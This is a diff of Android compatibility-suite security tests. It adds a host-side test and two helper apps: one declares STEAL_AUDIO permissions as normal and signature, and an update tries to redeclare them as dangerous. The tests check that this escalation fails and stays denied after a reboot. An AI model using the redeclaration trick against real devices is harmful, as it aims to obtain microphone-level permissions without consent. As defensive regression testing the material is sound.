+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appsecurity.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+public class PermissionEscalationTest extends DeviceTestCase implements IBuildReceiver {
+ private static final String ESCALATE_PERMISSION_PKG = "com.android.cts.escalate.permission";
+
+ private static final String APK_DECLARE_NON_RUNTIME_PERMISSIONS =
+ "CtsDeclareNonRuntimePermissions.apk";
+ private static final String APK_ESCLATE_TO_RUNTIME_PERMISSIONS =
+ "CtsEscalateToRuntimePermissions.apk";
+
+ private CompatibilityBuildHelper mBuildHelper;
+
+ @Override
+ public void setBuild(IBuildInfo buildInfo) {
+ mBuildHelper = new CompatibilityBuildHelper(buildInfo);
+ }
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+
+ Utils.prepareSingleUser(getDevice());
+ assertNotNull(mBuildHelper);
+
+ getDevice().uninstallPackage(ESCALATE_PERMISSION_PKG);
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ super.tearDown();
+
+ getDevice().uninstallPackage(ESCALATE_PERMISSION_PKG);
+ }
+
+ public void testNoPermissionEscalation() throws Exception {
+ assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+ APK_DECLARE_NON_RUNTIME_PERMISSIONS), false, false));
+ assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+ APK_ESCLATE_TO_RUNTIME_PERMISSIONS), true, false));
+ runDeviceTests(ESCALATE_PERMISSION_PKG,
+ "com.android.cts.escalatepermission.PermissionEscalationTest",
+ "testCannotEscalateNonRuntimePermissionsToRuntime");
+ }
+
+ @SecurityTest
+ public void testNoPermissionEscalationAfterReboot() throws Exception {
+ assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+ APK_DECLARE_NON_RUNTIME_PERMISSIONS), false, false));
+ assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+ APK_ESCLATE_TO_RUNTIME_PERMISSIONS), true, false));
+ getDevice().reboot();
+ runDeviceTests(ESCALATE_PERMISSION_PKG,
+ "com.android.cts.escalatepermission.PermissionEscalationTest",
+ "testRuntimePermissionsAreNotGranted");
+ }
+
+ private void runDeviceTests(String packageName, String testClassName, String testMethodName)
+ throws DeviceNotAvailableException {
+ Utils.runDeviceTestsAsCurrentUser(getDevice(), packageName, testClassName, testMethodName);
+ }
+}
diff --git a/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/Android.bp b/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/Android.bp
index ba51823..d70f126 100644
--- a/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsAccessSerialLegacy",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/AccessSerialModern/Android.bp b/hostsidetests/appsecurity/test-apps/AccessSerialModern/Android.bp
index 24b6ec1..30ca4ef 100644
--- a/hostsidetests/appsecurity/test-apps/AccessSerialModern/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/AccessSerialModern/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsAccessSerialModern",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestApp/Android.bp b/hostsidetests/appsecurity/test-apps/ApkVerityTestApp/Android.bp
index e9df6a5..aca31e7 100644
--- a/hostsidetests/appsecurity/test-apps/ApkVerityTestApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsApkVerityTestApp",
manifest: "AndroidManifest.xml",
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestApp/testdata/Android.bp b/hostsidetests/appsecurity/test-apps/ApkVerityTestApp/testdata/Android.bp
index f5688c7..9dda405 100644
--- a/hostsidetests/appsecurity/test-apps/ApkVerityTestApp/testdata/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestApp/testdata/Android.bp
@@ -13,16 +13,6 @@
// limitations under the License.
// A rule to collect apps for debugging purpose. See ApkVerityTestAppPrebuilt/README.md.
-package {
- // See: http://go/android-license-faq
- // A large-scale-change added 'default_applicable_licenses' to import
- // all of the 'license_kinds' from "cts_license"
- // to get the below license kinds:
- // SPDX-license-identifier-Apache-2.0
- // SPDX-license-identifier-NCSA
- default_applicable_licenses: ["cts_license"],
-}
-
genrule {
name: "CtsApkVerityTestDebugFiles",
srcs: [
diff --git a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/Android.bp b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/Android.bp
index 575d94e..cf37807 100644
--- a/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/ApkVerityTestAppPrebuilt/Android.bp
@@ -15,16 +15,6 @@
// Prebuilts that are signed with corresponding key of
// build/make/target/product/security/fsverity-release.x509.der
-package {
- // See: http://go/android-license-faq
- // A large-scale-change added 'default_applicable_licenses' to import
- // all of the 'license_kinds' from "cts_license"
- // to get the below license kinds:
- // SPDX-license-identifier-Apache-2.0
- // SPDX-license-identifier-NCSA
- default_applicable_licenses: ["cts_license"],
-}
-
filegroup {
name: "CtsApkVerityTestPrebuiltFiles",
srcs: [
diff --git a/hostsidetests/appsecurity/test-apps/AppAccessData/Android.bp b/hostsidetests/appsecurity/test-apps/AppAccessData/Android.bp
index 32fabc6..0c4702f 100644
--- a/hostsidetests/appsecurity/test-apps/AppAccessData/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/AppAccessData/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsAppAccessData",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/Android.bp b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/Android.bp
index a9eb884..38185ee 100644
--- a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsAppDataIsolationAppA",
defaults: ["cts_support_defaults"],
@@ -109,4 +105,4 @@
enabled: false,
},
manifest: "AppB/AndroidManifest_shared.xml",
-}
+}
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/test-apps/AppWithData/Android.bp b/hostsidetests/appsecurity/test-apps/AppWithData/Android.bp
index 53931f9..eb95cc3 100644
--- a/hostsidetests/appsecurity/test-apps/AppWithData/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/AppWithData/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsAppWithData",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/ApplicationVisibilityCrossUserApp/Android.bp b/hostsidetests/appsecurity/test-apps/ApplicationVisibilityCrossUserApp/Android.bp
index 61a66c0..2848e19 100644
--- a/hostsidetests/appsecurity/test-apps/ApplicationVisibilityCrossUserApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/ApplicationVisibilityCrossUserApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsApplicationVisibilityCrossUserApp",
defaults: ["cts_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/AuthBoundKeyApp/Android.bp b/hostsidetests/appsecurity/test-apps/AuthBoundKeyApp/Android.bp
index 5faab76..3b93cbb 100644
--- a/hostsidetests/appsecurity/test-apps/AuthBoundKeyApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/AuthBoundKeyApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "AuthBoundKeyApp",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/CorruptApkTests/Android.bp b/hostsidetests/appsecurity/test-apps/CorruptApkTests/Android.bp
index eb5bd74..ae31730 100644
--- a/hostsidetests/appsecurity/test-apps/CorruptApkTests/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/CorruptApkTests/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_import {
name: "CtsCorruptApkTests_b71360999",
apk: "b71360999.apk",
diff --git a/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/Android.bp b/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/Android.bp
index 08a7c49..6fe5191 100644
--- a/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/CorruptApkTests/compressed_arsc/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_import {
name: "CtsCorruptApkTests_Compressed_Q",
apk: "compressed_Q.apk",
@@ -56,4 +52,4 @@
"cts",
"general-tests",
]
-}
+}
\ No newline at end of file
diff --git a/tests/tests/permission3/PermissionEscalationAppNonRuntime/Android.bp b/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.bp
similarity index 68%
rename from tests/tests/permission3/PermissionEscalationAppNonRuntime/Android.bp
rename to hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.bp
index b8fbdea..4cbd602 100644
--- a/tests/tests/permission3/PermissionEscalationAppNonRuntime/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.bp
@@ -14,11 +14,18 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
-android_test_helper_app {
- name: "CtsPermissionEscalationAppNonRuntime",
- certificate: ":cts-testkey2",
+android_test {
+ name: "CtsDeclareNonRuntimePermissions",
+ defaults: ["cts_support_defaults"],
+ sdk_version: "current",
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ "mts",
+ "sts",
+ ],
+ dex_preopt: {
+ enabled: false,
+ },
}
diff --git a/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/AndroidManifest.xml
new file mode 100644
index 0000000..411a66b
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.escalate.permission">
+
+ <permission android:name="com.android.cts.escalate.permission.STEAL_AUDIO1"
+ android:permissionGroup="android.permission-group.MICROPHONE"
+ android:protectionLevel="normal"/>
+
+ <permission android:name="com.android.cts.escalate.permission.STEAL_AUDIO2"
+ android:permissionGroup="android.permission-group.MICROPHONE"
+ android:protectionLevel="signature"/>
+
+ <uses-permission android:name="com.android.cts.escalate.permission.STEAL_AUDIO1"/>
+ <uses-permission android:name="com.android.cts.escalate.permission.STEAL_AUDIO2"/>
+
+ <application android:hasCode="false"/>
+
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/DeviceIdentifiers/Android.bp b/hostsidetests/appsecurity/test-apps/DeviceIdentifiers/Android.bp
index 6eac9b6..a7b5ec0 100644
--- a/hostsidetests/appsecurity/test-apps/DeviceIdentifiers/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/DeviceIdentifiers/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsAccessDeviceIdentifiers",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp b/hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp
index 64b78b7..dcba2a6 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsDocumentClient",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp b/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp
index e7619c4..2e34b5e 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsDocumentProvider",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/DuplicatePermissionDeclareApp/Android.bp b/hostsidetests/appsecurity/test-apps/DuplicatePermissionDeclareApp/Android.bp
index 5f80327..6e6d949 100644
--- a/hostsidetests/appsecurity/test-apps/DuplicatePermissionDeclareApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/DuplicatePermissionDeclareApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsDuplicatePermissionDeclareApp",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/EncryptionApp/Android.bp b/hostsidetests/appsecurity/test-apps/EncryptionApp/Android.bp
index 2ced026..3826db1 100644
--- a/hostsidetests/appsecurity/test-apps/EncryptionApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/EncryptionApp/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsEncryptionApp",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.bp b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.bp
index 8293c76..066996c 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsEphemeralTestsEphemeralApp1",
defaults: ["cts_support_defaults"],
@@ -31,11 +27,13 @@
"ctsdeviceutillegacy-axt",
"ctstestrunner-axt",
"testng",
+ "platform-test-annotations",
],
// tag this module as a cts test artifact
test_suites: [
"cts",
"general-tests",
+ "sts",
],
srcs: ["src/**/*.java"],
resource_dirs: ["res"],
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
index 23593b0..6905564 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
@@ -70,6 +70,7 @@
import androidx.test.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
+import android.platform.test.annotations.SecurityTest;
import com.android.cts.util.TestResult;
@@ -1171,11 +1172,13 @@
}
@Test
+ @SecurityTest(minPatchLevel = "2020-11")
public void testInstallPermissionNotGrantedInPackageInfo() throws Exception {
assertThat(isPermissionGrantedInPackageInfo(Manifest.permission.SET_ALARM), is(false));
}
@Test
+ @SecurityTest(minPatchLevel = "2020-11")
public void testInstallPermissionGrantedInPackageInfo() throws Exception {
assertThat(isPermissionGrantedInPackageInfo(Manifest.permission.INTERNET), is(true));
}
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/Android.bp b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/Android.bp
index eb26b22..aa8aa3a 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsEphemeralTestsEphemeralApp2",
defaults: ["cts_support_defaults"],
@@ -35,6 +31,7 @@
test_suites: [
"cts",
"general-tests",
+ "sts",
],
srcs: ["src/**/*.java"],
resource_dirs: ["res"],
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/Android.bp b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/Android.bp
index df3fa64..5a2a252 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsEphemeralTestsImplicitApp",
defaults: ["cts_support_defaults"],
@@ -29,6 +25,7 @@
test_suites: [
"cts",
"general-tests",
+ "sts",
],
srcs: ["src/**/*.java"],
resource_dirs: ["res"],
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/Android.bp b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/Android.bp
index 97a7bc1..65fd66f 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsEphemeralTestsNormalApp",
defaults: ["cts_support_defaults"],
@@ -30,6 +26,7 @@
test_suites: [
"cts",
"general-tests",
+ "sts",
],
srcs: ["src/**/*.java"],
resource_dirs: ["res"],
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/Android.bp b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/Android.bp
index 450c993..51417fd 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsEphemeralTestsUnexposedApp",
defaults: ["cts_support_defaults"],
@@ -26,6 +22,7 @@
test_suites: [
"cts",
"general-tests",
+ "sts",
],
resource_dirs: ["res"],
sdk_version: "current",
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/Android.bp b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/Android.bp
index 57fe9ec..416204d 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsEphemeralTestsUserApp",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/Android.bp b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/Android.bp
index d3766f1..10b8985 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsEphemeralTestsUserAppTest",
defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/util/Android.bp b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/util/Android.bp
index c3e818d..0bba5ef 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/util/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/util/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test {
name: "cts-aia-util",
srcs: ["src/**/*.java"],
diff --git a/tests/tests/permission3/PermissionEscalationAppNonRuntime/Android.bp b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.bp
similarity index 60%
copy from tests/tests/permission3/PermissionEscalationAppNonRuntime/Android.bp
copy to hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.bp
index b8fbdea..4a054d2 100644
--- a/tests/tests/permission3/PermissionEscalationAppNonRuntime/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.bp
@@ -14,11 +14,23 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
-android_test_helper_app {
- name: "CtsPermissionEscalationAppNonRuntime",
- certificate: ":cts-testkey2",
+android_test {
+ name: "CtsEscalateToRuntimePermissions",
+ defaults: ["cts_support_defaults"],
+ static_libs: ["androidx.test.rules"],
+ srcs: ["src/**/*.java"],
+ sdk_version: "current",
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ "mts",
+ "sts",
+ ],
+ optimize: {
+ enabled: false,
+ },
+ dex_preopt: {
+ enabled: false,
+ },
}
diff --git a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/AndroidManifest.xml
new file mode 100644
index 0000000..1ac2790
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/AndroidManifest.xml
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.escalate.permission">
+
+ <permission android:name="com.android.cts.escalate.permission.STEAL_AUDIO1"
+ android:permissionGroup="android.permission-group.MICROPHONE"
+ android:protectionLevel="dangerous"/>
+
+ <permission android:name="com.android.cts.escalate.permission.STEAL_AUDIO2"
+ android:permissionGroup="android.permission-group.MICROPHONE"
+ android:protectionLevel="dangerous"/>
+
+ <uses-permission android:name="com.android.cts.escalate.permission.STEAL_AUDIO1"/>
+ <uses-permission android:name="com.android.cts.escalate.permission.STEAL_AUDIO2"/>
+
+ <application/>
+
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="com.android.cts.escalate.permission" />
+
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/res/values/strings.xml b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/res/values/strings.xml
new file mode 100644
index 0000000..bd208bc
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/res/values/strings.xml
@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!-- Just need this dummy file to force building Manifest.java. -->
+<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+ <string name="keysets_perm_desc">keysets_perm_description</string>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/src/com/android/cts/escalatepermission/PermissionEscalationTest.java b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/src/com/android/cts/escalatepermission/PermissionEscalationTest.java
new file mode 100644
index 0000000..7d866ab
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/src/com/android/cts/escalatepermission/PermissionEscalationTest.java
@@ -0,0 +1,82 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.escalatepermission;
+
+import static org.junit.Assert.assertSame;
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.content.pm.PermissionInfo;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.cts.escalate.permission.Manifest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class PermissionEscalationTest {
+ @Test
+ public void testCannotEscalateNonRuntimePermissionsToRuntime() throws Exception {
+ Context context = InstrumentationRegistry.getTargetContext();
+
+ // Ensure normal permission cannot be made dangerous
+ PermissionInfo stealAudio1Permission1 = context.getPackageManager()
+ .getPermissionInfo(Manifest.permission.STEAL_AUDIO1, 0);
+ assertSame("Shouldn't be able to change normal permission to dangerous",
+ PermissionInfo.PROTECTION_NORMAL, (stealAudio1Permission1.protectionLevel
+ & PermissionInfo.PROTECTION_MASK_BASE));
+
+ // Ensure signature permission cannot be made dangerous
+ PermissionInfo stealAudio1Permission2 = context.getPackageManager()
+ .getPermissionInfo(Manifest.permission.STEAL_AUDIO2, 0);
+ assertSame("Shouldn't be able to change signature permission to dangerous",
+ PermissionInfo.PROTECTION_SIGNATURE, (stealAudio1Permission2.protectionLevel
+ & PermissionInfo.PROTECTION_MASK_BASE));
+ }
+
+ @Test
+ public void testRuntimePermissionsAreNotGranted() throws Exception {
+ // TODO (b/172366747): It is weird that the permission cannot become a runtime permission
+ // during runtime but can become one during reboot.
+ Context context = InstrumentationRegistry.getTargetContext();
+
+ // Ensure permission is now dangerous but denied
+ PermissionInfo stealAudio1Permission1 = context.getPackageManager()
+ .getPermissionInfo(Manifest.permission.STEAL_AUDIO1, 0);
+ assertSame("Signature permission can become dangerous after reboot",
+ PermissionInfo.PROTECTION_DANGEROUS, (stealAudio1Permission1.protectionLevel
+ & PermissionInfo.PROTECTION_MASK_BASE));
+
+ assertSame("Permission should be denied",
+ context.checkSelfPermission(Manifest.permission.STEAL_AUDIO1),
+ PackageManager.PERMISSION_DENIED);
+
+ // Ensure permission is now dangerous but denied
+ PermissionInfo stealAudio1Permission2 = context.getPackageManager()
+ .getPermissionInfo(Manifest.permission.STEAL_AUDIO2, 0);
+ assertSame("Signature permission can become dangerous after reboot",
+ PermissionInfo.PROTECTION_DANGEROUS, (stealAudio1Permission2.protectionLevel
+ & PermissionInfo.PROTECTION_MASK_BASE));
+
+ assertSame("Permission should be denied",
+ context.checkSelfPermission(Manifest.permission.STEAL_AUDIO2),
+ PackageManager.PERMISSION_DENIED);
+ }
+}
